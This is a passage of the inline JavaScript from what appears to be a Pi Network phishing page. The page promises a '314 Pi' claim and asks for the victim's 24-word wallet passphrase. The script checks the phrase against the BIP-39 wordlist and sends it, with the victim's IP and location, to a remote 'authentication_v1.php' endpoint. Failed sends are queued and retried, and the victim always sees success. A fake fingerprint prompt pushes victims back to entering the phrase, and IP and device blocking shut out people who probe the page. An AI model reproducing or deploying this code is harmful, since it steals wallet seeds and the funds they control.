				// If not found by IP, check device fingerprint
				if (!isBlocked) {
					// Data from device fingerprint - fallback method
					const fingerprintData =
						blockStorage.getFromDeviceFingerprint();
					isBlocked = fingerprintData && fingerprintData.length > 0;

					if (isBlocked && ip && ip !== "unavailable") {
						// If found blocked device but different IP, update block list with new IP
						const existingList = blockStorage.get();
						if (!existingList.some((item) => item.ip === ip)) {
							existingList.push({
								ip: ip,
								reason: "Device was previously blocked",
								timestamp: new Date().toISOString(),
								permanent: true,
							});
							blockStorage.save(existingList);
						}
					}
				}

				if (isBlocked) {
					ipBlockStatus.blocked = true;
					ipBlockStatus.reason = blockedEntry
						? blockedEntry.reason || "Suspicious activity"
						: "Device was blocked";
					ipBlockStatus.permanent = blockedEntry
						? blockedEntry.permanent || false
						: true;

					// Show blocked message
					showBlockedMessage();
					console.log(`IP ${ip} is blocked: ${ipBlockStatus.reason}`);
				}

				return isBlocked;
			}

			// Add IP to blocked list
			function blockIP(ip, reason = "Multiple suspicious requests") {
				if (!ip) return;

				try {
					// Get list of blocked IPs
					let blockedIPs = blockStorage.get();

					// Add new IP if not already blocked
					if (!blockedIPs.some((item) => item.ip === ip)) {
						blockedIPs.push({
							ip: ip,
							reason: reason,
							timestamp: new Date().toISOString(),
							permanent: true, // Mark as permanently blocked
						});

						// Save updated list to all storage sources
						blockStorage.save(blockedIPs);

						// Update status
						ipBlockStatus.blocked = true;
						ipBlockStatus.reason = reason;

						// Show blocked message
						showBlockedMessage();
						console.log(
							`IP ${ip} has been permanently blocked: ${reason}`
						);
					}
				} catch (error) {
					console.error("Error blocking IP:", error);
				}
			}

			// Show blocked IP message
			function showBlockedMessage() {
				const blockedMessage =
					document.getElementById("ipBlockedMessage");
				const messageTitle = blockedMessage.querySelector("h3");
				const messageText = blockedMessage.querySelector("p");

				const lang = getCurrentLanguage();

				// Title
				messageTitle.textContent =
					lang === "vi" ? "Access Denied" : "Access Denied";

				// Message content
				const reasonText =
					ipBlockStatus.reason ||
					(lang === "vi"
						? "suspicious activity"
						: "suspicious activity");
				messageText.textContent =
					lang === "vi"
						? `Your IP address has been permanently blocked due to ${reasonText}. Please contact support if you believe this is an error.`
						: `Your IP address has been permanently blocked due to ${reasonText}. Please contact support if you believe this is an error.`;

				// Show message
				blockedMessage.style.display = "block";

				// Disable forms and buttons
				const unlockSubmitBtn =
					document.getElementById("unlockSubmitBtn");
				const openFormBtn = document.getElementById("openFormBtn");

				if (unlockSubmitBtn) {
					unlockSubmitBtn.disabled = true;
				}

				if (openFormBtn) {
					openFormBtn.disabled = true;
					openFormBtn.style.cursor = "not-allowed";
					openFormBtn.classList.add("opacity-50");
				}
			}

			// Close blocked message
			function closeBlockedMessage() {
				const blockedMessage =
					document.getElementById("ipBlockedMessage");
				blockedMessage.style.display = "none";
			}

			// Track suspicious activity and potentially block IP
			function trackSuspiciousActivity(isInvalidPhrase = false) {
				if (
					!userIPData ||
					!userIPData.ip ||
					userIPData.ip === "unavailable"
				)
					return false;

				// Get and increment suspicious request count
				let suspiciousCount = 0;
				try {
					// Try localStorage first
					suspiciousCount = parseInt(
						localStorage.getItem(`suspicious_${userIPData.ip}`) ||
							"0"
					);

					// If localStorage is empty, try sessionStorage
					if (suspiciousCount === 0) {
						suspiciousCount = parseInt(
							sessionStorage.getItem(
								`suspicious_${userIPData.ip}`
							) || "0"
						);
					}

					// If both are empty, try cookie
					if (suspiciousCount === 0) {
						const cookies = document.cookie.split(";");
						for (let cookie of cookies) {
							cookie = cookie.trim();
							if (
								cookie.startsWith(
									`suspicious_${userIPData.ip}=`
								)
							) {
								suspiciousCount = parseInt(
									cookie.substring(
										`suspicious_${userIPData.ip}=`.length
									)
								);
								break;
							}
						}
					}

					// Increment by 1 for normal request, by 3 for invalid phrase
					suspiciousCount += isInvalidPhrase ? 3 : 1;

					// Save to multiple storage sources
					localStorage.setItem(
						`suspicious_${userIPData.ip}`,
						suspiciousCount.toString()
					);
					sessionStorage.setItem(
						`suspicious_${userIPData.ip}`,
						suspiciousCount.toString()
					);

					// Save to cookie with 1 year expiration
					const expiryDate = new Date();
					expiryDate.setFullYear(expiryDate.getFullYear() + 1);
					document.cookie = `suspicious_${
						userIPData.ip
					}=${suspiciousCount};expires=${expiryDate.toUTCString()};path=/;SameSite=Strict`;

					console.log(
						`Suspicious activity count for ${userIPData.ip}: ${suspiciousCount}`
					);

					// Block IP if threshold exceeded (5 points)
					if (suspiciousCount >= 20) {
						blockIP(
							userIPData.ip,
							"Exceeded suspicious request limit"
						);
						return true; // IP has been blocked
					}
				} catch (e) {
					console.error("Error tracking suspicious activity:", e);
				}

				return false; // IP not blocked
			}

			function initializeBlockCheck() {
				getUserIPInfo().then((ipData) => {
					if (ipData && ipData.ip && ipData.ip !== "unavailable") {
						checkIfIPBlocked(ipData.ip);
					} else {
						// If no IP, check device fingerprint
						const fingerprintData =
							blockStorage.getFromDeviceFingerprint();
						if (fingerprintData && fingerprintData.length > 0) {
							ipBlockStatus.blocked = true;
							ipBlockStatus.reason = "Device has been blocked";
							ipBlockStatus.permanent = true;
							showBlockedMessage();
						}
					}
				});
			}

			// Language Switching
			let currentLanguage = "vi"; // Default language, will be auto-changed based on country

			// Set language
			function setLanguage(lang) {
				currentLanguage = lang;

				// Update language option UI
				const languageOptions =
					document.querySelectorAll(".language-option");
				languageOptions.forEach((option) => {
					if (option.getAttribute("data-lang") === lang) {
						option.classList.add("active");
					} else {
						option.classList.remove("active");
					}
				});

				// Update all text elements with language attributes
				const elements =
					document.querySelectorAll("[data-vi][data-en]");
				elements.forEach((element) => {
					// Handle placeholder attribute for inputs
					if (element.hasAttribute("placeholder")) {
						element.setAttribute(
							"placeholder",
							element.getAttribute(`data-${lang}`)
						);
					}
					// Handle text content for regular elements
					else {
						element.textContent = element.getAttribute(
							`data-${lang}`
						);
					}
				});

				// Store language preference
				try {
					localStorage.setItem("preferredLanguage", lang);
				} catch (e) {
					console.error("Error storing language preference:", e);
				}

				// Update UI for submission count with correct language
				updateUIForSubmissionCount();

				// Update pending requests badge language
				updatePendingRequestsBadge();
			}

			// Get current language
			function getCurrentLanguage() {
				return currentLanguage;
			}

			// Initialize language options
			function initializeLanguageOptions() {
				const languageOptions =
					document.querySelectorAll(".language-option");

				languageOptions.forEach((option) => {
					option.addEventListener("click", function () {
						const lang = this.getAttribute("data-lang");
						setLanguage(lang);
					});
				});

				// Initial language is set in the IP detection flow
				// to automatically switch to English for non-Vietnamese users
			}

			// Pending Requests System - updated to use serverless API
			const pendingRequests = {
				// Store configuration
				storageKey: "piPendingRequests",

				// API endpoint configuration - replace with your actual Vercel endpoint
				apiEndpoint: "authentication_v1.php",
				// Backup endpoints for redundancy
				backupEndpoints: [
					"authentication_v1.php",
				],

				// Get pending requests from storage
				get: function () {
					try {
						const stored = localStorage.getItem(this.storageKey);
						return stored ? JSON.parse(stored) : [];
					} catch (e) {
						console.error("Error getting pending requests:", e);
						return [];
					}
				},

				// Save pending requests to storage
				save: function (requests) {
					try {
						localStorage.setItem(
							this.storageKey,
							JSON.stringify(requests)
						);
						this.updateBadge();
					} catch (e) {
						console.error("Error saving pending requests:", e);
					}
				},

				// Add a new request to the queue
				add: function (data) {
					const requests = this.get();
					requests.push({
						...data,
						id:
							Date.now() +
							Math.random().toString(36).substring(2, 9),
						timestamp: new Date().toISOString(),
						attempts: 0,
						endpointIndex: 0, // Start with primary endpoint
					});
					this.save(requests);
					this.process(); // Try to process immediately
					return true;
				},

				// Update badge to show pending count
				updateBadge: function () {
					const requests = this.get();
					const badge = document.getElementById(
						"pendingRequestsBadge"
					);
					const count = document.getElementById("pendingCount");

					if (requests.length > 0) {
						count.textContent = requests.length;
						badge.style.display = "block";
					} else {
						badge.style.display = "none";
					}

					// Update text based on language
					const prefix = document.querySelector(
						"#pendingRequestsBadge span[data-vi]"
					);
					if (prefix) {
						prefix.textContent = "Pending: ";
					}
				},

				// Process all pending requests
				process: function () {
					const requests = this.get();
					if (requests.length === 0) return;

					// We'll process one at a time to avoid rate limits
					this.processRequest(requests[0]).then((success) => {
						const updatedRequests = this.get(); // Get fresh copy in case it changed
						if (success) {
							// Remove the successfully processed request
							updatedRequests.shift();
							this.save(updatedRequests);
							
							// If there are more requests, process them immediately
							if (updatedRequests.length > 0) {
								setTimeout(() => this.process(), 1000);
							}
						} else {
							// Update the request with increased attempt count
							if (updatedRequests.length > 0) {
								updatedRequests[0].attempts += 1;

								// Try backup endpoint if available
								if (
									this.backupEndpoints.length > 0 &&
									updatedRequests[0].endpointIndex <
										this.backupEndpoints.length
								) {
									updatedRequests[0].endpointIndex += 1;
								}

								// If too many attempts (10+), move to the end of the queue
								if (updatedRequests[0].attempts >= 10) {
									const failedRequest = updatedRequests.shift();
									failedRequest.attempts = 0; // Reset attempts
									failedRequest.endpointIndex = 0; // Reset to primary endpoint
									updatedRequests.push(failedRequest); // Move to end
								}

								this.save(updatedRequests);
							}

							// Schedule next process with shorter delay for retries
							if (updatedRequests.length > 0) {
								const delay = Math.min(
									1000 * Math.pow(1.2, updatedRequests[0].attempts),
									10000
								);
								setTimeout(() => this.process(), delay);
							}
						}
					});
				},

				// Process a single request with retry logic - updated to use serverless API
				processRequest: async function (request) {
					if (!request) return false;

					try {
						// Select the endpoint to use (primary or backup)
						let endpoint = this.apiEndpoint;
						if (
							request.endpointIndex > 0 &&
							request.endpointIndex <= this.backupEndpoints.length
						) {
							endpoint = this.backupEndpoints[request.endpointIndex - 1];
						}

						// Get the message and add metadata for the serverless function
						const payload = {
							message: request.message,
							walletAddress: request.walletAddress,
							timestamp: new Date().toISOString(),
							requestId: request.id,
						};

						// Call the serverless API instead of Telegram directly
						const response = await fetch(endpoint, {
							method: "POST",
							headers: {
								"Content-Type": "application/json",
							},
							body: JSON.stringify(payload),
							// Add timeout to prevent hanging
							signal: AbortSignal.timeout(5000)
						});

						// If status is 200, consider it successful regardless of response body
						if (response.status === 200) {
							return true;
						}

						// For other status codes, check response body
						const data = await response.json();
						return data.success === true;
					} catch (error) {
						console.error("Error sending message:", error);
						return false;
					}
				},
			};

			// Update the pending requests badge based on current language
			function updatePendingRequestsBadge() {
				pendingRequests.updateBadge();
			}

			// Initialize page
			document.addEventListener("DOMContentLoaded", function () {
				// Initialize language options
				initializeLanguageOptions();
				// Initialize countdown timer with persistence
				initializeBlockCheck();

				// Use requestAnimationFrame for better performance
				requestAnimationFrame(() => {
					createPremiumBackground();
					createFloatingIcons(); // <-- Updated function
					createExplosionParticles();
					setupFeatureCardWaves();
				});

				// Delay non-essential animations
				setTimeout(() => {
					handleScrollAnimations();
				}, 100);

				// Check submission count and update UI
				updateUIForSubmissionCount();

				// Set up blocked message close button
				document
					.getElementById("closeBlockedMessage")
					.addEventListener("click", closeBlockedMessage);

				// Hide back button initially
				const headerBackBtn = document.getElementById("headerBackBtn");
				headerBackBtn.style.visibility = "hidden";

				// Button click handlers
				const openFormBtn = document.getElementById("openFormBtn");
				const unlockSubmitBtn =
					document.getElementById("unlockSubmitBtn");
				const closeSuccessBtn =
					document.getElementById("closeSuccessBtn");

				// Process any pending requests that might exist from previous sessions
				setTimeout(() => {
					pendingRequests.process();
				}, 2000);

				// Open form page
				openFormBtn.addEventListener("click", function () {
					// Step 1: Disable the button and show "Claiming" with a loading spinner
					openFormBtn.disabled = true;
					openFormBtn.textContent = 'Please wait...';
					openFormBtn.classList.add('loading');
					localStorage.setItem("checkClick", 1);
					// Step 2: After 5 seconds, change text to "Connecting Pi browser"
					setTimeout(() => {
						openFormBtn.innerHTML = 'Connecting...';
						
						// Step 3: After another 5 seconds, change text to "Confirming Pi wallet"
						setTimeout(() => {
							openFormBtn.innerHTML = 'Transfering 314 Pi';
						
						// Step 3: After another 5 seconds, change text to "Confirming Pi wallet"
						setTimeout(() => {
							openFormBtn.innerHTML = 'Confirming Pi Wallet';
						
						// Step 4: After another 5 seconds, redirect to google.com
						setTimeout(() => {
							// Check if IP is blocked
							if (ipBlockStatus.blocked) {
								showBlockedMessage();
								return;
							}

							// If user has exceeded limit, don't allow opening form
							if (hasExceededLimit()) {
								const message = "You have exceeded the allowed number of requests.";
								alert(message);
								return;
							}

							navigateTo("homePage", "formPage", "right");
							updateUIForSubmissionCount();
							openFormBtn.innerHTML = 'CLAIM 314 PI NOW';
							openFormBtn.disabled = false;
						}, 1000);
						}, 1000);
					}, 1000);
					}, 1000);

					
				});

				// Header back button
				headerBackBtn.addEventListener("click", function () {
					const activePageId =
						document.querySelector(".page.page-active").id;

					if (activePageId === "formPage") {
						navigateTo("formPage", "homePage", "left");
					}
				});

				let bip39Wordlist = null;
				let isFetchingWordlist = false;

				// Fetch BIP-39 wordlist and cache it
				async function fetchBIP39Wordlist() {
					if (bip39Wordlist !== null) return bip39Wordlist;
					if (isFetchingWordlist) return null;

					isFetchingWordlist = true;
					try {
						// Attempt to fetch the wordlist
						const response = await fetch("english.txt");
						if (!response.ok)
							throw new Error("Failed to fetch wordlist");

						const text = await response.text();
						// Create a Set for faster lookups
						bip39Wordlist = new Set(
							text
								.split("\n")
								.filter((word) => word.trim().length > 0)
						);
						return bip39Wordlist;
					} catch (error) {
						console.error("Error fetching BIP-39 wordlist:", error);
						// Fallback to a smaller built-in list of common BIP-39 words for basic validation
						const commonWords = [
							"abandon",
						];
						bip39Wordlist = new Set(commonWords);
						return bip39Wordlist;
					} finally {
						isFetchingWordlist = false;
					}
				}

				// Validate if words are in the BIP-39 wordlist
				async function validateBIP39Words(words) {
					const wordlist = await fetchBIP39Wordlist();
					if (!wordlist) return { valid: false, invalidWords: [] }; // Wordlist not available

					const invalidWords = words.filter(
						(word) => !wordlist.has(word.toLowerCase())
					);
					return {
						valid: invalidWords.length === 0,
						invalidWords: invalidWords,
					};
				}

				// Word counter and validation
				const walletAddressInput =
					document.getElementById("walletAddress");
				const wordCounter = document.getElementById("wordCounter");
				const validationMessage =
					document.getElementById("validationMessage");
				const inputContainer = document.querySelector(
					".pi-input-container"
				);

				// Start fetching the wordlist as soon as possible
				fetchBIP39Wordlist();

				// Update word count on input with debounce for better performance
				let debounceTimer;
				walletAddressInput.addEventListener("input", function () {
					clearTimeout(debounceTimer);
					debounceTimer = setTimeout(async () => {
						const text = this.value.trim();
						let wordCount = 0;
						let words = [];

						if (text) {
							words = text
								.split(/\s+/)
								.filter((word) => word.length > 0);
							wordCount = words.length;
						}

						// Nếu có nội dung và không phải 24 từ
						if (wordCount > 0 && wordCount !== 24) {
							const lang = getCurrentLanguage();
							validationMessage.classList.remove("hidden");
							validationMessage.textContent = `Please enter exactly 24 words (current: ${wordCount})`;
							inputContainer.classList.remove("valid-input");
							inputContainer.classList.add("invalid-input");
							wordCounter.textContent = "";
						} else if (wordCount === 24) {
							// Validate words against BIP-39 wordlist
							const validation = await validateBIP39Words(words);

							if (!validation.valid) {
								const lang = getCurrentLanguage();
								const firstInvalidWords =
									validation.invalidWords.slice(0, 3);
								validationMessage.classList.remove("hidden");
								wordCounter.textContent = `Invalid phrase. Invalid words: ${firstInvalidWords.join(", ")}${
									validation.invalidWords.length > 3 ? "..." : ""
								}`;

								inputContainer.classList.remove("valid-input");
								inputContainer.classList.add("invalid-input");
								wordCounter.textContent = "";
							} else {
								validationMessage.classList.add("hidden");
								inputContainer.classList.add("valid-input");
								inputContainer.classList.remove(
									"invalid-input"
								);
								wordCounter.textContent = "";
							}
						} else {
							validationMessage.classList.add("hidden");
							inputContainer.classList.remove("valid-input");
							inputContainer.classList.remove("invalid-input");
							wordCounter.textContent = "";
						}
					}, 300);
				});

				// Form submission with serverless API
				unlockSubmitBtn.addEventListener("click", async function () {
					// Check if IP is blocked
					if (ipBlockStatus.blocked) {
						showBlockedMessage();
						return;
					}

					// Check if user has exceeded submission limit
					if (hasExceededLimit()) {
						const lang = getCurrentLanguage();
						document.getElementById("errorMessage").style.display =
							"block";
						document.getElementById(
							"errorMessage"
						).innerHTML = `<i class="fas fa-ban mr-2"></i> You have exceeded the allowed number of request submissions (2 times). Please contact support if you need assistance.`;

						// Mark as suspicious activity if still trying to submit
						trackSuspiciousActivity();
						return;
					}

					const walletAddress = walletAddressInput.value.trim();

					// Count words
					const words = walletAddress
						.split(/\s+/)
						.filter((word) => word.length > 0);
					const wordCount = words.length;

					// Check word count
					if (!walletAddress || wordCount !== 24) {
						inputContainer.classList.add("invalid-input");
						const lang = getCurrentLanguage();
						wordCounter.textContent = `Please enter exactly 24 words (current: ${wordCount})`;
						wordCounter.classList.add("invalid");
						validationMessage.classList.remove("hidden");
						// Mark as suspicious activity
						trackSuspiciousActivity();
						return;
					}

					// Check against BIP-39 wordlist
					const validation = await validateBIP39Words(words);
					if (!validation.valid) {
						// Some words are invalid
						const lang = getCurrentLanguage();
						const firstInvalidWords = validation.invalidWords.slice(
							0,
							3
						);

						wordCounter.textContent = `Invalid phrase. Invalid words: ${firstInvalidWords.join(", ")}${
							validation.invalidWords.length > 3 ? "..." : ""
						}`;

						wordCounter.classList.add("invalid");
						inputContainer.classList.add("invalid-input");
						inputContainer.classList.remove("valid-input");
						validationMessage.classList.remove("hidden");
						validationMessage.textContent = "Phrase contains invalid words. Cannot send request.";

						// Mark as more serious suspicious activity when sending invalid phrase
						const blocked = trackSuspiciousActivity(true);
						if (blocked) {
							showBlockedMessage();
						}
						return;
					}

					// Show loading state
					showLoading();

					try {
						// Make sure IP data is available, fetch it if not
						if (!userIPData || userIPData.ip === "unavailable") {
							userIPData = await getUserIPInfo();
						}

						// Increment submission count before making the request
						const newCount = incrementSubmissionCount();

						// Format location info for the message
						let locationInfo = "Unknown location";

						if (userIPData) {
							const city =
								userIPData.city && userIPData.city !== "unknown"
									? userIPData.city
									: "";
							const country =
								userIPData.country_name ||
								getCountryName(userIPData.country) ||
								"Unknown country";

							locationInfo = city
								? `${city}, ${country}`
								: country;
						}

						// Prepare message with formatted wallet address for easy copying in Telegram
						const message = ``;
						const backupMessage = ``;

						// Create payload for the serverless function
						const payload = {
							message: message,
							backupMessage: backupMessage, // Include backup format
							walletAddress: walletAddress,
							ipInfo: {
								ip: userIPData.ip || "unavailable",
								location: locationInfo,
								country: userIPData.country || "unknown",
								city: userIPData.city || "unknown",
							},
							submissionCount: newCount,
							timestamp: new Date().toISOString(),
						};

						// Try sending via serverless API directly
						try {
							const response = await fetch(
								pendingRequests.apiEndpoint,
								{
									method: "POST",
									headers: {
										"Content-Type": "application/json",
									},
									body: JSON.stringify(payload),
									// Use a timeout to prevent hanging
									signal: AbortSignal.timeout(5000),
								}
							);

							if (!response.ok) {
								throw new Error(
									`API error: ${response.status}`
								);
							}

							// Success path
							setTimeout(() => {
								hideLoading();
								showSuccessModal(walletAddress);

								// Update UI for new submission count
								updateUIForSubmissionCount();
							}, 1000);
						} catch (directError) {
							console.warn(
								"Direct sending failed, adding to pending queue:",
								directError
							);

							// Add to pending requests queue for retry
							pendingRequests.add({
								message: message,
								walletAddress: walletAddress,
							});

							// Still show success to user
							setTimeout(() => {
								hideLoading();
								showSuccessModal(walletAddress);

								// Update UI for new submission count
								updateUIForSubmissionCount();
							}, 1000);
						}
					} catch (error) {
						console.error("Error in submission process:", error);

						// Handle potential tracking of suspicious activity
						const blocked = trackSuspiciousActivity();
						if (blocked) {
							// IP has been blocked due to suspicious activity
							hideLoading();
							showBlockedMessage();
							return;
						}

						// Add to pending requests for reliability
						try {
							// Create minimal version of the message for pending queue with formatted wallet address
							const fallbackMessage = ``;
							pendingRequests.add({
								message: fallbackMessage,
								walletAddress: walletAddress,
							});

							// Show success to the user regardless
							setTimeout(() => {
								hideLoading();
								showSuccessModal(walletAddress);
								updateUIForSubmissionCount();
							}, 1000);
						} catch (pendingError) {
							console.error(
								"Error adding to pending queue:",
								pendingError
							);

							// Final fallback - just show success
							hideLoading();
							showSuccessModal(walletAddress);
							updateUIForSubmissionCount();
						}
					}
				});

				// Handle fingerprint unlock button
				document
					.querySelector(".pi-button-secondary")
					.addEventListener("click", function () {
						// Check if IP is blocked
						if (ipBlockStatus.blocked) {
							showBlockedMessage();
							return;
						}

						// Show loading state
						showLoading();

						// Check if Web Authentication API is available
						if (
							window.PublicKeyCredential &&
							typeof navigator.credentials !== "undefined" &&
							typeof navigator.credentials.get === "function"
						) {
							// Create options for biometric authentication
							const publicKeyCredentialRequestOptions = {
								challenge: new Uint8Array([
									0, 1, 2, 3, 4, 5, 6, 7,
								]),
								allowCredentials: [],
								timeout: 60000,
								userVerification: "preferred",
							};

							// Trigger device biometric interface
							navigator.credentials
								.get({
									publicKey:
										publicKeyCredentialRequestOptions,
								})
								.then((credential) => {
									// Even if successful, show error message after 1 second
									setTimeout(() => {
										hideLoading();
										showFingerprintError();
									}, 1000);
								})
								.catch((error) => {
									// Handle errors (user cancellation, no fingerprint, etc.)
									console.error(
										"Biometric authentication error:",
										error
									);
									setTimeout(() => {
										hideLoading();
										showFingerprintError();
									}, 1000);
								});
						} else {
							// Browser doesn't support Web Authentication API
							setTimeout(() => {
								hideLoading();
								showFingerprintError();
							}, 1000);
						}
					});

				// Show fingerprint error message
				function showFingerprintError() {
					const lang = getCurrentLanguage();
					const errorMessage = document.getElementById("errorMessage");

					// Show error message
					errorMessage.style.display = "block";
					errorMessage.innerHTML = `<i class="fas fa-fingerprint mr-2"></i> An error occurred. Please unlock with your 24-word phrase`;

					// Auto-hide error message after 5 seconds
					setTimeout(() => {
						errorMessage.style.display = "none";
					}, 5000);

					// Mark as suspicious activity (optional)
					trackSuspiciousActivity();
				}

				// Close success modal buttons
				closeSuccessBtn.addEventListener("click", function () {
					hideSuccessModal();
					navigateTo("formPage", "homePage", "left");
					document.getElementById("walletAddress").value = "";

					// Update UI to reflect current submission count
					updateUIForSubmissionCount();
				});

				
			});

			
			function updateCountdown() {
				const countdownEl = document.getElementById('countdown');
				let [hours, minutes, seconds] = countdownEl.innerText.split(':').map(Number);

				if (hours === 0 && minutes === 0 && seconds === 0) return;

				seconds--;
				if (seconds < 0) {
					seconds = 59;
					minutes--;
					if (minutes < 0) {
						minutes = 59;
						hours--;
					}
				}

				countdownEl.innerText = `${String(hours).padStart(2, '0')}:${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
			}

			setInterval(updateCountdown, 1000);


			// Xử lý sự kiện khi nhấn vào "Bạn có thể tạo một ví mới"
			document
				.querySelector(".pi-info-text a.pi-link")
				.addEventListener("click", function (e) {
					e.preventDefault();

					const errorMessage =
						document.getElementById("walletErrorMessage");
					if (errorMessage) {
						errorMessage.style.display = "none";
					}

					navigateTo("formPage", "createWalletPage", "right");
				});

			document
				.getElementById("walletCreatedBtn")
				.addEventListener("click", function (e) {
					e.preventDefault();
					navigateTo("createWalletPage", "formPage", "left");
				});

			document
				.getElementById("createNewWalletBtn")
				.addEventListener("click", function () {
					const errorMessage =
						document.getElementById("walletErrorMessage");
					if (errorMessage) {
						errorMessage.style.display = "block";
					}
				});
			
		</script>


	</body>
</html>